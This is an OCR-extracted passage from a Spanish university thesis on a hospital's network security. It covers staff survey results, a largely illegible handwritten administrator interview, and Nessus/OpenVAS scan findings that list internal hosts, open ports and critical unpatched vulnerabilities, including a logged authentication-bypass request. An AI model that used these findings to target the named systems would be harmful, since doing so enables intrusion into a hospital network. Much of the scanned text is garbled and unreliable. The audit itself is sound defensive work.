Tabla B.13.2. Resultados por respuestas. Actividades de los usuarios sobre el internet.
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< GRAFICO 13:

D. Subir archivos

B. Descargar programas

E. No responde

C. Descargar musica o videos

A. Actualizar Software
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Grafico B.13. Resultados por usuarios. Actividades de los usuarios sobre el internet.

< ANALISIS 13:
Es necesario realizar un control sobre el ancho de banda de internet para evitar
descargas de ficheros de gran tamafio como instaladores de software.

PREGUNTA N° 14
¢, Cudles de los siguientes sitios web frecuenta?
A. Redes Sociales
Radio, Tv, Noticias
Correo Electrénico (Yahoo, Hotmail, Gmalil, etc.)
Organizaciones publicas y privadas

Educativos

nmoow

Otros
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% TABLA 14:

OPCION FRECUENCIA %

C 2 6,67
E 2 6,67

F 9 30
A C 1 3,33
A E 1 3,33
C,D 5 16,67
C E 3 10,00
B,C,D 1 3,33
B,C E 1 3,33
C,D,E 2 6,67
A C,D 1 3,33
A, CDE 2 6,67
Total: 30 100%

Tabla B.14.1. Resultados por usuarios. Sitios web frecuentados por los usuarios.

RESPUESTA FRECUENCIA %
A. RedesSociales 5 16,67
B. Radio, Tv, Noticias 2 6,67
C. Correo Electrénico (Yahoo, Hotmail, Gmail, etc.) 18 60
D. Organizaciones publicas y privadas 11 36,67
E. Educativos 11 36,67
F. Otros 9 30

Tabla B.14.2. Resultados por respuesta. Sitios web frecuentados por los usuarios.

% GRAFICO 14
c | 60%
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Gréfico B.14. Resultados por respuesta. Sitios web frecuentados por los usuarios.
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< ANALISIS 14:

El correo electrénico es un medio muy util en la entidad y uno de los medios de
propagacion de virus, por lo que es necesario complementar las politicas de seguridad
con politicas de uso de correo electrénico.

PREGUNTA N°15

¢, Cudles de los siguientes sistemas del Hospital utiliza?
Sistema de Recursos Humanos

Sistema de Historias Clinicas

Sistema de Recaudacion

Otros

> w N

% TABLA 15:

OPCION FRECUENCIA %
Sistema de Recursos Humanos 1 3,33
Sistema de Historias Clinicas 6 20
Sistema de Recaudacion 1 3,33
Sistema de Historias Clinicas y RRHH 2 6,67
Los tres Sistemas 1 3,33
Ninguno de los anteriores 19 63,33
Total: 30 100

Tabla B.15. Sistemas de gestion que utilizan con mayor frecuencia los usuarios.
< GRAFICO 15:
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Grafico B.15. Sistemas de gestion que utilizan con mayor frecuencia los usuarios.
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< ANALISIS 15:

El Sistema de Gestion Hospitalaria es utilizado tanto por el personal de estadistica
como Médicos de Consulta Externa y pisos de Hospitalizacion, por lo que es
importante establecer la segmentacién de red a partir del perfil de los usuarios sin
importar la ubicacion fisica. Y establecer reglas de control de acceso a los servidores
de los sistemas de Gestion para evitar el acceso no autorizado, considerando que
tanto el Sistema de Recursos Humanos y Gestion Hospitalaria tienen como usuarios a
Jefes de departamentos hospitalarios

administrativos, asi mismo existen usuarios que tienen acceso a los tres Sistemas de

Informacion.

PREGUNTA N° 16

¢, QUé procesos o tareas realiza en el sistema seleccionado anteriormente?

% TABLA 16:

SISTEMA

TAREA/ PROCESO

SISTEMA DE RECURSOS
HUMANOS

Ingreso de personal

Ingreso de permisos

Impresion de asistencia

Ingresar horarios de personal

Administracion General del Sistema

SISTEMA DE HISTORIAS

Apertura de Historias Clinicas

Asignacion de turnos a pacientes

Consulta médica

Registro de emergencia

Imprimir reportes de llamadas inteligentes

RECAUDACION

CLINICAS - NTE”
Ingresar pacientes a hospitalizacion
Almacenamiento de produccion diaria y mensual
Entrega de tickets para examenes por turnos.
Administracion General del Sistema
SISTEMA DE Facturacion

Administracién General del Sistema

Tabla B.16. Procesos identificados por cada sistema.

para la asignacién de turnos rotativos y
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RESPUESTA FRECUENCIA %
Apertura de Historias Clinicas 2 6,67%
Asignacién de Turnos 2 6,67%
Consulta médica 2 6,67%
Otros 4 13,33%
No utiliza sistema 19 63,33%
No responde 1 3,33%

Total: 30 100%

Tabla B.17. Procesos realizados con mayor frecuencia.

< GRAFICO 16:
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Grafico B.16. Procesos realizados con mayor frecuencia.

< ANALISIS 16

La Seguridad en los Sistemas de informacion es un tema muy amplio en la

administracion de la red, por lo que es necesario conocer el uso e importancia dentro

de los procesos administrativos de la Institucion, asi mismo conocer los usuarios

administradores de los Sistemas.

PREGUNTA N° 17

¢, Posee una contrasefa de acceso a los sistemas?

1. Si
2. No
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s TABLA17:

OPCION FRECUENCIA %
Si 8 26,67
No 3 10
No responde 19 63,33
Total: 30 100

Tabla B.17. Usuarios que poseen contrasefias de acceso a los sistemas.

< GRAFICO 17:
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Grafico B.17. Usuarios que poseen contrasefias de acceso a los sistemas.

< ANALISIS 17:

El porcentaje correspondiente a preguntas sin respuesta, corresponde a las personas
encuestadas que no tienen acceso a los Sistemas de Informacion y aquellos usuarios
que responden negativamente a esta pregunta utilizan contrasefias compartidas, lo
gue implica la falta de control y analisis de los requerimientos de acceso a los

Sistemas.

PREGUNTA N° 18

¢, Puede actualizar la contrasena?
1. Si
2. No
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OPCION FRECUENCIA %
Si 6 20
No 5 16,67
No responde 19 63,33
Total: 30 100

Tabla B.18. Permiso de modificacion de contrasefas.

< GRAFICO 18:
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S| NO NO
RESPONDE

Gréfico B.18. Permiso de modificaciéon de contrasefias.

< ANALISIS 18:
Los usuarios del Sistema de Gestion Hospitalaria y Sistema de Recaudacion poseen

contrasefa de acceso.

PREGUNTA N° 19

¢, Cudles de las siguientes caracteristicas posee su contrasefia?
A. Mas de 8 caracteres

Menos de 8 caracteres

Sélo letras

Sélo nimeros

Combinacion de letras, nUmeros y simbolos

nmoow

No contesta
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s TABLA 19:

OPCION FRECUENCIA %

A 3 10
B 2 6,67
C 4 13,33
D 1 3,33
E 2 6,67
B, D 2 6,67
A C 1 3,33
B, C 2 6,67
F 13 43,33
Total: 30 100

Tabla B.19.1. Resultados por usuarios. Caracteristicas de seguridad de contrasefias de usuarios.

OPCION FRECUENCIA %

A 4 11,43

B 6 17,14

C 7 20,00

D 3 8,57

E 2 571

F 13 37,14
Total: 35 100

Tabla B.19.2. Resultados por respuesta. Caracteristicas de seguridad de contrasefias de usuarios.

< GRAFICO 19:

F - 37.140%
C - 20%
B - 17.140%
A - 11%
D - 8.570%
E - 5.710%
0% 5:% 10I% 15I% 2(;% 25I% 3(;% 35I% 4(I)%

Grafico B.19. Resultados por respuesta. Caracteristicas de seguridad de contrasefias de usuarios.
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< ANALISIS 19:

Durante la realizacibn de las encuestas se pudo observar la publicacién de
contrasefas en etiquetas visibles sobre el computador. La pregunta realizada sobre la
fortaleza de las contrasefias utilizadas, proporcioné una respuesta mayoritaria sobre el
uso Unicamente de caracteres alfabéticos. Por lo que se concluye la necesidad de
capacitacion sobre los riesgos de seguridad a los que se expone la informacién que se

maneja en la Institucion.

PREGUNTA N° 20

¢ Tiene acceso a redes inalambricas?

1. Si
2. No
s TABLA 20:
OPCION FRECUENCIA %
Si 3 10
No 22 73,33
No responde 5 16,67
Total: 30 100

Tabla B.20. Usuarios con acceso a redes inalambricas.

% GRAFICA 20:

73.330%

80% -

60% -
40% -
20% -

0% T T T
Sl NO NO RESPONDE

10% 16.670%
0

Grafico B.20. Usuarios con acceso a redes inalambricas.

< ANALISIS 20:
Debido al alcance de la red inalambrica las respuestas afirmativas a esta pregunta
tienen un minimo porcentaje. Sin embargo es importante conocer el acceso e interés

de los usuarios sobre la red inalambrica.
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PREGUNTA N° 21

¢ Realiza autenticacion para acceder a la red inalambrica?
1. Si
2. No

% TABLA 21:

OPCION FRECUENCIA %
Si 2 6,67%
No 1 3,33%
No responde 27 90%
Total: 30 100

Tabla B.21. Autenticacion de acceso a la red inalambrica.

< GRAFICO 21:

90%

100% -
80% -
60% -
40% -

0

20% - 6.670% 3.330%
0% T T T
S NO NO RESPONDE

Gréfico B.21. Autenticacion de acceso a la red inalambrica.

< ANALISIS 21:
Los usuarios no tienen conocimiento de la necesidad de una clave para acceder a la

red inalambrica, ya que esta es registrada por el administrador en cada equipo.

PREGUNTA N° 22
¢ Considera Usted necesario un esquema de seguridad que maneje politicas para el
buen funcionamiento de la red de datos y los recursos informaticos del Hospital?

1. Si

2. No

¢Por qué?
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s TABLA 22:

Tabla B.22.1. Criterio de los usuarios sobre la implantacion del esquema de seguridad.

< GRAFICO 22:

OPCION FRECUENCIA %
Si 27 90
No 2 6,67%
No responde 1 3,33%

Total: 30 100

100% - 2%
80% -
60% -
40% -
20% - 6.670% 2 2309/
O% T T T
Sl NO NO RESPONDE

Grafico B.22. Consideracion de los usuarios sobre la implantacion del esquema de seguridad.

Respuesta ¢Por qué?

OPCION FRECUENCIA %
Proteccion de informacion 14 46,67
Confidencialidad de informacion 3 10
Mejor fluidez de informacion 3 10
Otros 6 20
No contesta 4 13,33
Total: 30 100

Tabla B.22.2. Razones de los usuarios que consideran necesario el esquema de seguridad.
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o,
S0% - /A.ﬁ_ﬁlD.A_
45%

40% -
35% A
30% -
25% - U/

20% - 13.330%
15% . 1U% 1U%

10% -
5% -
0% T T T T 1

Proteccion de  Confidencialidad Mejor fluidez de Otros No contesta
informacién de informacidn informacién

Grafico B.22. Razones de los usuarios que consideran necesario el esquema de seguridad.

La informacion de cada uno de los usuarios en los equipos de cémputo es de gran
importancia para la Institucién por tanto requieren de un esquema de seguridad que
contemple las medidas de preventivas necesarias para evitar cualquier pérdida.
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ANEXO C. ENTREVISTA AL ADMINISTRADOR DE LA UNIDAD
DE GESTION INFORMATICA.

UNIVERSIDAD NACIONAL DE LOJA

Carrera de InEenieria en Sistemas
ENTREVISTA

La presente entrevista tiene como objetivo conocer la situacién actual de la red del hospital con
respecto a su administracion y mantenimiento, ademéas de los requerimientos hardware y
software para el desarrollo de un esquema de seguridad que permita la implementacién de los
servicios de internet y la proteccion de los activos informaticos de la institucion.

i (',IzUnidad de Gestion Informitica lleya una planificacién de funciones del personal?
nided de Ceshom Anformata ©F Heso. una. planfwam ofe fuaumeS

fu.ncio;nes realiza Ud. dentro de la Unidad de Gestion Informatica?
7 m;ﬁ\bam /mmﬁm'm[.-an Je ﬁawdw.auf &/ﬁuuuf’}' ’ a/nﬁmfnmzﬂz; c/? ﬁa«

o/e(’e/wrml),w«‘iﬂmwnmw%ﬂa e1. bait o€ [nflimidlesia. de. $oled blia.

4. ;Los contratos de la Institucion y las practicas de terminacion del contrato para el personal de
la UGI contemplan condiciones de seguridad sobre los activos de la red?
g0 Oriliylan Pemsletest SEiREl Eults A1 wint oe Lo ped arbie,
5. ¢Qug significa jjra Ud. la S‘eguridad Informatica? , A !
. ugoiced Jofomstia, ppeadals. for prctiaien o bo ipfrmedrn y of.

6. ¢La institucion asigna un presupuesto para la Seguridad Informéatica? ;
Jlfzwﬁﬂmma@wm e bo. Separded pformatia, fo

7. Durante su estancia a cargo de la UGI ;Qué tipos de problemas de seguridad se han
presentado con mayor frecuen;}a?

Gin sonl. e fo. Aapericed f'cia 1l by, dle equpst &b pompdle: un bos sfsimet, g,

9. ¢(La organizacion mantiene diagramas actualizados que muestren la arquitectura de la
seguridad y la topologia de red de la Institucion? ;
Al poerllc, pemn. bapuomen. ol fo- csmuile Jise ofe bor teanidecl, 4ol pon clicponne

10. }(}»é tipo de problemas de seguridad ha identificado con mayor frecuencia en la red?

e ﬂomm4yaeu wmmg(v’t’wmm/«wxu?iwdeﬂ"md@"
oA bguipet. ;Mfmwwﬁga‘/’ig Gl okl sdutone.
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(Los computadores de la institucion tienen una cuenta de Administrador? .
O poseen 7(00/01 ) C«m/puﬁ;abru e, queila. e ddmimitladon , pws bo. auppa.

13:

14

15.

16.

1

18.

19.

20.

21

22,

[,(2:‘. tipo de privilegios tienen los usuarios sobre el manejo de los equipos de computo?
Fac i, adipded poemifida, o fot usuauss s of access ol B10S, o ...

. (Posee una planificacion para el mantenimiento preventivo de los equipos de computo y de

red?

.,A;- foﬂ—lt’ ,unaz/o/ah%uza}h;fd% meﬁml-mfcnfﬁ/#elfmﬁb Ao U Lu.w‘/.rf de

o, tealppa sapd e qpuuichod dolna ot aunidmetdisettiy SCENEA poof divesr

(Qué medidas de seguridad considera en el manejo de contrasefias de los servidores y

equipos de administracion de la red? | ;
z oblnien de taya/JM de b}yé\(mau‘aﬂ Comlenida en (ot Lowsicostes ’}42, omécmm

(Qué niveles de seguridad utiliza :/1 la r_e;i inaldmbrica?
(=4 e

Sgpusided WAL, ayismasen e orlasies . eloupasin, e Coilasiss. bz

(Qué medidas de seguridad fisica considera para los servidores y equipos de la red?
_gé wse de dent adst, OPS , auscye Hroe /améﬁmd Con /uJ/aedff ol

eapos fivea pow. U coupes ot U extiiler, Con ol guc, pre i n o4 asercte...

¢ Qué mecanismos de seguridad légica utiliza actualmente para la red?
Dhilza,  VANs . Heals &m/ gpacion de /uw?é_-\‘ en bos sewifchS puaefoS | oA

: /_}ncam/m:}nt e Lo presenfe. oA F Aozl(e ol usr oe ?Eo}élulaut’_ o/ ie s

.............. e o bmosensdec. en o dhisws. e fof, eoupeS, , posleran -

[
xmouen] |
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(La Institucion cuenta con licencias actualizadas para el software instalado en los equipos?

¢ Qué tipo de licencia poseen?
ﬁowﬁw Lsensies, oillzebisaddes , e ho. solitch cdoss | Suwlon oog
' tndand .. Crompornatle:

¢(La integridad del software instalado en los Servidores 'es verificado regularmente?

'___Ciq,_q‘ﬁ&"a/ 74""""9 ‘l.“f’tjjm U“W%W Q[Ja/woue ipsfabads en los

26.

27

28.

29.

30.

¢ Todos los sistemas estan actualizados con las respectivas revisiones, parches y con las
recomendaciones propuestas de seguridad?

(Existe una planificacion de evaluacion de vulnerabilidades?

Wo.. Bieose, s plamfraich. e elobuacimn. de. falnysabiCtoclehn.............

¢(La Institucion cuenta con un manual de politicas de seguridad actuales para los recursos de
la red? ;Existe un departamento encargado de revisarlo, actualizarlo y controlar su
cumplimiento en base a politicas de seguridad de informacién, leyes aplicables, regulaciones
y reqguerimientos de seguridad?

%mﬁmmﬂm ol de Wosmed . CTrecedimientes. gt ol

Indique los aspectos que influyen sobre la implementacion de seguridad informatica en la
instjtucion.
octlos gue in en Sont é /maé/{g:.wdn.( 7‘54775/ P Com=

(Cuadles son sus requerimientos en cuanto a seguridad informatica para la red de datos de la
Instjtucion?
...................................................................................................

ot

¥ NG,
P Macs #
iGRACIAS POR SU COLABORACION!
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ANEXO D. ANALISIS DE VULNERABILIDADES CON NESSUS

% VULNERABILIDADES EN EQUIPOS DE RED

=PRINT
10.104.32.1 High Severity problemis) found 22964 7
B 6% High Severity 10.104.35.2 High Severity problems) found 19506 3
0% Medium )
B coverity 10.104.32.53 Low Severity problemis) found 10281 3
93% Low
W ety 10287 3
11036 3
42263 3
20108 2
24260 2
10264 2
34022 2
10267 2
PLUGIN IDS severmy RO SYNOPSIS 54615 2
ISSUES D
SHMP Agent Default Community Names 10551 2
10264 High 2 The community names of the remote SMMP server can be
guessed. 35716 2
SNMP Agent Default Community Name {public)
41028 High 2 The community name of the remote SMMP server can be 50686 2
guessed,
2064 Low ; Service Detection 4274 2
The remote serice could be identified. 10800 2
10506 o 3 Nessus Scan Information —
Infarmation ahaout the Messus scan. 41028 2
Telnet Server Detection
10261 Low 3 ATelnet server is listening on the remote port. 11822 1
Traceroute Information
10287 Low 3 Itwas possible to abtain traceroute information. me7 1
05 ldentification
1936 Low 3 Itis possible to gusss the remote operating system 15500 !
12263 o 3 Unencrypted Telnet Server 10144 1

The remote Telnet server transmits trafiic in cleartext.
Weh Server / Application favicon.ico Vendor
Fingerprinting
20108 Low z The remote weh server containg a araphic image thatis
prone to information disclasure.
HyperText Transfer Protocol (HTTP) Information
24260 Low 2 Some infarmation about the remote HTTP configuration
tan be exracted.
SHMP Query Routing Information Disclosure

34022 Low 2 The list of IP routes on the rernate host can be abtained
wia BMMP.
10267 e 2 S5H Server Type and Version Information

An S5H server is listening on this port.
SHMP Protocol Version Detection

35206 Low 2 Thig plugin reports the protocol version negotiated with
the remate SHMP agent. )
10107 0T 7 HTTP Server Type and \ersion

Awveh SERvEr is running on the remote host.
SHMP Supported Protocols Detection
40448 Low 2 Thig plugin reports all the protocol versions successfully
negotiated with the remote SHMP agent.
HTTP Methods Allowed iper directory)

4311 Low 2 This plugin determines which HTTF methods are allowed
on v_arious CGl directories.,
54615 Low 2 Device Type

Itis possible 10 guess the remote device type.
SHMP Request Network Interfaces Enumeration

10551 Low 2 The list of netwark interfaces cards of the remaote hostcan
be abtained via SHMP.
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% VULNERABILIDADES EN SERVIDORES

=FRINT
TOP 10 HOSTS with ISSUES PLUGIN IDS ISSUES
10.104.32.51 High Severity problemis) found 10736 22
u 11% High " 5
Severity 10.104.32.52 High Severity problem(s) found 22064 20
5% Medium - .
W coverity 10.104.33.2 High Severity problem(s) found 10107 8
u 22% Low 24260 7
everity
11213 4
11111 4
11011 4
25220 3
19506 3
10114 3

List of hosts

10.104.32 51
10,104,322 52

10.104.32.51

Scan 1]
Star rime : Fti Sep 16 10:30:53 2011
End tirne FH Sep 16 10:35:01 2011
Number of vulnerabilities
Dpen pods 1)
High : 13
Law 1]
Remote host information
Oparating Systerm Microsoft Windows Server 2008 Service Pack 1
MatBI2S nare ¢ IIM-MEITZEWIED
DMS narne

Port mssql (1433 /tep)

MEDE-040: Microsoft SQL Server Multiple Privilege Escalation (9241203) (uncredentialed check)

Synopsis:
The rernote SOL server is wulnerable to memory cormuption Aawes,

Descripticn:

The rernote host iz munning & wersion of Micrazoft 0L Server, Deskiop
Engine or Intemal Database that is vulnerable ta roaltiple mernony
COFuption issues,

These wulnerabilities may allowe an attacker to elewvate his privileges
on the SOL server,

Risk Facror:

High

CY¥SS Base Scored.0

Lo R TP W AT et ) L] P e

Solution:
Microzoft haz released a set of patches For SOL Server 7, 2000 and
2005 ¢

htep: fivewesy microzoft corntechnet fecurty Jbulletin/rns0S-040, . mspx

Plugin ID:
24211

CWYE:
CAE-2002-0025, CWE-ZO0E-0086, CAVE-2002-0106, CWE-Z008-010F
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Bl 1l s e

HP Systen MManagenvent Honnee poage E e Yulnera

ESL LT T R EoH
The remote wweb serwver is affected by multiple wulnerabilities.

Descripticm:

Sccording to the web server's banner, the wersion of HFEF Swstem
FManagerment Homepage [SHHI running on the rermmote hozst iz eadier than
E.=Z. Such wersions are reportedly affected by the Followvsing

wulnerabilities

- &0 error exists in the Foncrion *fimacch’ in the
bundled werzion of PHF that can lead o =rack
exhaustion. ZTWYE-2010-1917)

- &n infFormation dizclozure wulnerability existz in the
"war_export' function in the bundled wersion of PHP
that can be triggered wwhen handling certain emror
conditionz. WY E-2Z010-2Z25=17

- & double Fres wulnerability in the
"==lZ_get_kew_exchang=[)"' Function in the third-partyw
TrpenSSL library could be abused o crash the
application. YWY E-2ZO010-29=90

- & Formnat string wulnerabilivy in the phar extenszion
in the bundled wersion of PHP could l2ad to the
dizclazure oF mmermory contents and possibly allowe
execution of arbitrary code wia a specially crafted
‘phardf LRI, (CWE-2010-23950)

- & HNULL pointer ders=ference in
‘Tiparchive i igetSrchiveZomment' included weith the
bundled werzion of PHF can be abuzed ta crazh the
application. ZTWYE-2010-ZF09)

- The bundled wearzion of libxmlz Mmaw read Fom inealid
memory locations when processing malformned =P ach
exprezcionz. resulting in an application crazh.

(oW E-20 10-4005]

- &N oerror in the 'mmib_strcuk)' Fanction in the bundled
werszion of PHF can be exploited by passing a large
‘lengrh’ pararmeter to dizcloze porentially zensitive
information From the heap. CCWE-Z2010-315E]

- &N az-ywet unzpecified remote code execution
wulnerability could allove an authenticated user to
execute arbitrary code weith swstern priwileges.
T E-201 1- 1540

- &an az-ywet unzpecified unauthorized acce=zz wulnerabilicy
could lzad ta a complete sywstem comproamis:es.
(CAWE-Z011-1541]

Risk Factor:
ZrHrical
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CY¥55 Base Score:l10.0
CSSZEAV IMIAC I AWM IS o TS AT

See also:
htep fivosaws securityFocus .comfarchive 18 17597 2000 thre aded

Solution:
Upgrade ta HP Systern Management Homepage .3 or later,

Plugin output:

Product : HP Swstern Managernent Hormepage

Ylersion source | Servert CompagHT TRPServerfd,9 HP Systern Managerient
Homepage)z.1.15.210

Installed version : 2.1.15.210

Fixed werzion : 6.3.0.22

Plugin ID:
E3532

CYE:

CWE-2010-1917,

CWE-2010-2521, CVE-2010-2929, CWE-2010-2950, CVE-2010-2F09,
CWE-Z010-4008, CWVE-2010-4186, SWE-2011-1540, CWE-Z011-1541

BID:
41991, 44718, 44727, 44779, 4F50F, 47512

Other references:
SIS DB EGEDF, DS DERES0S, DSV DEREDSE, DSV DB EETSE, DSV DB R0,

AP Sysitene Managensent Haoree ppage

LT T T B R
The remote weebh zerver iz affected by moultiple vulnerabilicies .

Descriptiscm:

According ko the vweb server's banner, the wersion of HP Sy=tem
Managermant Hommepage (SFHHD ronning on the rermmote haost iz 2adier than
E.=. Such wersions are reportedly affected by the Followeing

wulnerabilities

- &n error exists inthe function 'fmacch’ in the
bundled wersion of PHP that can lead to stack
exhausticon. CCWE-Z2010-1917F)

- &an inFormnation disclasure wulnerakilivy =xists in the
‘war_export' Function in the bundled wearzion oF PHP
thar can be triggered vohen handling certain ermrar
conditions., CWE-2010-25=1]

- & double Areese wulnerability in the

'==1Z2_get_kew_ exchang=("' function in the third-party
rpen=SL library could bBe abuszed ta crazh the
application. (CWE-ZO10-Z9=49)

- & Formniat string wulnerability in the phar extension
in the bundled wersion of PHP could lead ta the
dizclosure oF mermory contents and possibly allows
execution oF arbitrary code wia a specially crafted
‘pharl LRI, (W E-2010-2950)

- & UL paointer dereference in
'Ziparchive:igetayrchiveZTomment' included wwith the
bundled wersion of PHP can be abused ta crash the
applicaticon. CCWE-ZO010-ZF 0490

- The bundlad wersian oF libxmlZ rnaw read FParmnm inwealid
memory loacations vwhen proceszzing malformned =P ach
exprescions. resulting in an application crazh.

(A E-Z0 10-<S00S]

- &n 2rror in the 'mb_=strcue)® Fanction in the bundl=d
wersion oFf PHP can be exploited by pas=sing a large
‘length’ parameter ta disclose potentialle ==nsitive
imFormnation o the heap, CCWE-2010-3415E)

- &N az-yet unzpecified remote caode execution
wulnerability could allowve an authenticated user ta
execute arbitrary code wwith = wstermnm prwileges.
(oW E-Z011- 15400

- &an as-wet unspecified unauthorized access wulnerabilicw
could lead ta a coamplete =ywsterm compromize.
(CAWE-Z011-1591]

Riszsk Factor:
Zritical
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YS09-050: Microsoft Windows SMB2 _Smb2¥alidateProviderCallback() Yulnerability (9735497) (uncredentialed check)

Synopsis:
Atbitrary code ray be executed on the rerote host through the SME part

Description:

The rarmote host is ranning a wersion of Microsoft Windows Yista or
Windows Server 2008 that contains a wulnerabilicy in its SMBW2
implermentation,

An attacker could explait this Aaw ta disable the rernote host or ta
evecute arbitrary code on it

Risk Factor:
Critical

CY¥55 Base Score:10.0
CASS2EAN IMIAC LM o T AT

See also:
heepefig-laurent blagspat carm /200909 fwindaws-wista?-smb20-negatiate-pratacal html

Solution:

Mickozaft has releazed a patch For Windows Vista and Windows Server
2008 ¢

http i ricrosaft cornftechnet fsecurity BulletinMS09-050 msp:

Plugin ID:
40387

CY¥E:
CWE-2009-2103

BID:
2E299

DOther references:
CIE 339, OSDEETTHA, MSE T S03-050
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Port www (4848 tcp)

Oracle GlassFish Server Administration Console GET Request Authentication Bypass

Synopsis:
The remote web server has an authentication bypass wulnerability
that ray permit code execution,

Description:

The wersion of GlassFish Server running on the rermote host has an
authentication bypass wulnerability, The server Fails to enforce
authentication on HTTP requests that contain loweer case method names
(.. 'get].

& rernote, unauthenticated attacker could exploit this to upload and
execute arbitrary code,

Risk Factor:
Critical

CY¥5S Base Score:10.0
CNVSSZHAN MBI AN ST A

See also:
http s oracle comtechnetwork bopics flsecurity fepuapr20 11-20 1950 html

See also:
http i zerod ayinitiative comfadvisates 20 I-11-137 1

Solution:
Upgrade to GlassFish Server 2.1 or later,

Plugin cutput:
Messus was able to exploit the issue using the Fallawing request :

get fapplicationsjupload.jsF HTTRIL.1

Host: 10,104,232 514843

dccept-Language: en

Accept-Charset! iso-2859-1,utf-810=0.9,%19=0.1

Connection: Close

Drate: Fri, 16 Sep 2011 15:34:45 GMT

Pragma: no-cache

User-@gent: Mozillaf4.0 (compatible; MSIE §.0; Windows MT 5,1; Tridentid.0)
Accapt: image/gif, imagefi-xbitrap, imagefipeq. imagejpipea, image/png, * ¥

Plugin ID:
£Eaz1

CYE:
CAWE-2011-0807

BID:
47425

Other references:
DS DB 1948, EDB-IDG 1SR LS
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0.104.32.52

scan Time
Start tirme ¢ Fri Sep 16 10:30:53 2011
End time : Fri Sep 16 10:22:13 2011
Number of vulnerabilities
CIpEn poHs @ 1]
High k]
Lony ¢ 1]
Remote host information
Cperating Systermn ! Microsoft Windaws 2000 Service Pack 4
MetBICE narne @ LOIHHIALSDL
DS narme

Tort general [0/tcp)

Hicrosoft Windows 2000 Unsupported Installation Detection

Synopsis:
The rernote operating systerm is no longer suppattad,

Description:
The rernate host is running 2 wersion of MicrosoRt Windows 2000,

This aperating system is no longer supparted by Microsoft, This means
not only that there will be no new security patches For it but alsa

that Microsoft is unlikely to inwestigate or acknowledge reports of
wulnerabilities in it.

Risk Factor:
Critical

CY5% Base Score:l0.0
Laatiosel, AR ST oted WETH ST iadlad 1 flad Lo

See also:
httpffsupport rickosoft . comflifecyclel?p 1=7274

Solution:
Upgrade to a different wersion of Windows,

Plugin ID:
4FF09

Port cifs (445/tcp)

MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check)

Synopsis:
Atbitrary code can be exacuted on the rermote host due to 3 Aaw in the
'Server service,

Description:

The rernate hast is wolnerable to a buffer awarrun in the 'Server’
service that may allow an attacker to execute arbitrary code on the
rernote host with the 'Systern' privileges,

Risk Factor:
Critical

CY55 Base Score:ll.0
CUSS2HAN MAC LM CTC A

Solution:
Microsoft has released a set of patches For Windows 2000, ¥P, 2003,
Wista and 2008

hittpf s microsoft com/technet fsecurity bulletinms08-067 mspx

Plugin ID:
34477

CYE:
CVE-2003-4250

BID:
31874

Other references:
OENVDRA243, CWE A4, MSFT:MS0E-067F
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Port v (80 tcp)

Obsolete Web Server Detection

Synopsis:
The remote web server iz obsalete,

Description:
According to its wersion, the rernate web server is abzolete and no
longer maintained by its wendaor or provider,

& lack of support implies that no new security patches are being
released For it,

Risk factor:
High

CY¥5S Base Score:?.S
CUSSZRAN N IAC LIS PR A P

Solution:
Rernove the service if it is no longer needed, Otherwize, upgrade to
a newer version iF possible or switch to another server,

Plugin output:

Praduct : Microsoft IIS 5.0

Server response header | Microzaft-IISIE.0

Suppart ended @ 2010-07-12

Supparted wersions ¢ Microsaft IIS 7.5 f 7.0 f6.0 5.1

Additional inforrnation @ http:isupport . rickosalt cornflifecyclef?p1=2095

Plugin ID:
24460
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% VULNERABILIDADES EN OPENVAS

This repart gives detals an hosts that were tested and issues that were found, Please Follow the recommended steps and procedures to eradicate these threats,

Hosts which were dlive and responding during test 3
Number of security holes Q
MNumber of security warnings 35
Number of securicy notes 124
Number of false positives o

Host(s) Possible Issue
10.104.32.53 Security warningls)
10.104,32.52 Security holes)
10.104,32.51 Security hole{s)

return bo top ]

Address of Host Port/Service Issue regarding Port
10.104.32.53 telnet {23 kcp) Security notels)
10.104.32.53 generalitcp Security notels)
10.104.32.53 ssh (22/kcp) Mo Information
10.104.32.53 generalficmp Security warning(s)
10.104.32.53 general(HOST-T Mo Infarmation
10.104.32.53 general/CPE-T Mo Information

Type Port Issue and Fix
Informational |telnet & telnet server seems to be running on this port
(23/bcp) oIk 1,3.6.1.4.1.25625,1.0,10330
Informational |telnet Remote telnet banner @
(23fkcp) C

EL ACCESO MG AUTORIZADG A ESTE DISPOSITIVG ESTA PROHIBID,
Usked debe tener permiso explicito de la CMT para acceder vio
Configurar este dispositivo, Todas las actividades realizadas

en el dispositivo son almacenadas.

UMAUTHORIZED ACCESS TO THIS DEVICE IS PROHIBITED,
You must have explicit permission From CMT to access or
Configure this device. All activities performed on this device
are logged,

.. | HOSPITAL PROVIMCIAL GEMERAL HISIDRO AYORA LOJA

| | | CORPORACION MACICMNAL DE TELECOMUIMNICACIONES [(CHT)
... | ASEGURAMIEMTO DE DATOS E INTERMET

A1 |9 de Octubre v Luis Cordero Esqg.

i

User Access Yerification
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Address of Host

Port/Service

Issue regarding Port

10.104,32.52 smkp (25/kcp) Security warning(s)
10,104,32.52 name {32/tcpl Security nokels)
10.104,32.52 hkkp (S0ftcp) Security hale(s)
10,104,32.52 kerberos (88tcp) Security nokels)
10,104,32.52 eprap [135/tcp) Security warning(s)
10.104,32.52 nethins-ssn {139/kcp Security nokels)
10.104,32.52 |dap [(339/tcp) Security nokels)
10.104,32.52 https {4435tcp) Security nokels)
10.104,32.52 microsoft-ds (445itcp) Security haole(s)
10.104,32.52 kpasswd (464 kcp) Security nokels)
10.104,32.52 printer (S515/tcp) Security nokels)
10.104,532.52 hktp-rpo-epmap (S95kep) Mo Information
10,104,32.52 |daps {a36tcp) Security nokels)
10.104,32.52 cap [(1026/tcp) Security note(s)
10,104,32.52 ms-lza (1029kcp) Security warningls)
10.104,32.52 kyoceranetdey (1063)cp) Security note(s)
10,104,32.52 jstel {1064 tcp) Security nokels)
10.104,32.52 instl_boate (1065 tcp) Security note(s)
10,104,32.52 asprovatalk (1079 kcp) Security nokels)
10.104,32.52 ardus-cntl {11 16/tcp) Security nokels)
10,104,32.52 Caiccipe {1202/top) Security nokels)
10,104,32.52 sweskware-apps (1221 /kcp) Security nokels)
10.104,32.52 wpnz (1224kcp) Security nokels)
10.104,32.52 msfE-go (3268 tcp) Security nokels)
10.104,32.52 msfE-go-ssl (3269 tcp) Security nokels)
10.104,32.52 ms-whk-server (33397tcp) Security nokels)
10.104,32.52 akp (9390 ke Security nokels)
10.104,32.52 generalftcp Security warningls)
10.104,532.52 ssh (Z2ftcp) Mo Information
10,104,32.52 nethios-ns (137 /udp) Security warningls)
10.104,32.52 unknown (1171tcp) Security note(s)
